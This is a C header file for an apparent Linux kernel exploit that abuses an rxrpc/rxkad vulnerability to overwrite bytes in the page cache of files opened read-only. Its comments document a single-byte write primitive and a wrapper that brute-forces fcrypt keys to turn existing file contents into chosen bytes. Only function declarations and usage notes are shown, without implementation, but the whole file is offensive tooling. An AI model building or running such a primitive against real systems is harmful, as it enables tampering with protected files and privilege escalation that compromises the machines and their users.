rxrpc_write.h

/*
 * rxrpc_write.h -- byte-granular page-cache write primitive
 *
 * Two entry points:
 *
 *   write1()      Raw primitive. Takes a pre-computed fcrypt key + pad,
 *                 fires one rxrpc/rxkad trigger that overwrites exactly
 *                 one byte in the target fd's page cache.  No crypto
 *                 knowledge -- caller supplies the key.
 *
 *   overwrite_n() High-level wrapper.  Given "what's there now" (source)
 *                 and "what we want" (dest), brute-forces the fcrypt key
 *                 for each differing byte and calls write1().
 */

#ifndef RXRPC_WRITE_H
#define RXRPC_WRITE_H

#include <stdint.h>
#include <stddef.h>
#include <sys/types.h>

/* Call once before any write1 / overwrite_n. */
void rxrpc_write_init(void);

/* Call when finished; destroys the shared key so it doesn't leak.
 * Caller should allow ~2 s after the last write1 before calling
 * this so the kernel's idle rxrpc connections have time to expire
 * and release their key refs. */
void rxrpc_write_cleanup(void);

/*
 * write1 -- poke one byte at fd[off] via the rxrpc/rxkad vuln path.
 *
 *   fd   : read-only file descriptor to the target file.
 *   off  : byte offset within the file (0 .. PAGE_SIZE-1).
 *   key  : 8-byte fcrypt session key (controls what the byte becomes).
 *   pad  : 7-byte anon pad (cipher-input prefix for the SGL straddle).
 *
 * Returns 0 on success, -1 on failure.
 */
int write1(int fd, off_t off, const uint8_t key[8], const uint8_t pad[7]);

/*
 * overwrite_n -- transform source[0..size-1] -> dest[0..size-1]
 *                in the page cache of fd, starting at base_off.
 *
 *   fd       : read-only file descriptor to the target file.
 *   base_off : file offset of the first byte to transform.
 *   source   : buffer holding the current bytes (what's in the page cache).
 *   dest     : buffer holding the desired bytes.
 *   size     : number of bytes to process.
 *
 * Bytes where source[i] == dest[i] are skipped (no trigger fired).
 * Returns 0 if all differing bytes were successfully written, -1 on
 * first failure.
 */
int overwrite_n(int fd, off_t base_off,
                const void *source, const void *dest, size_t size);

#endif /* RXRPC_WRITE_H */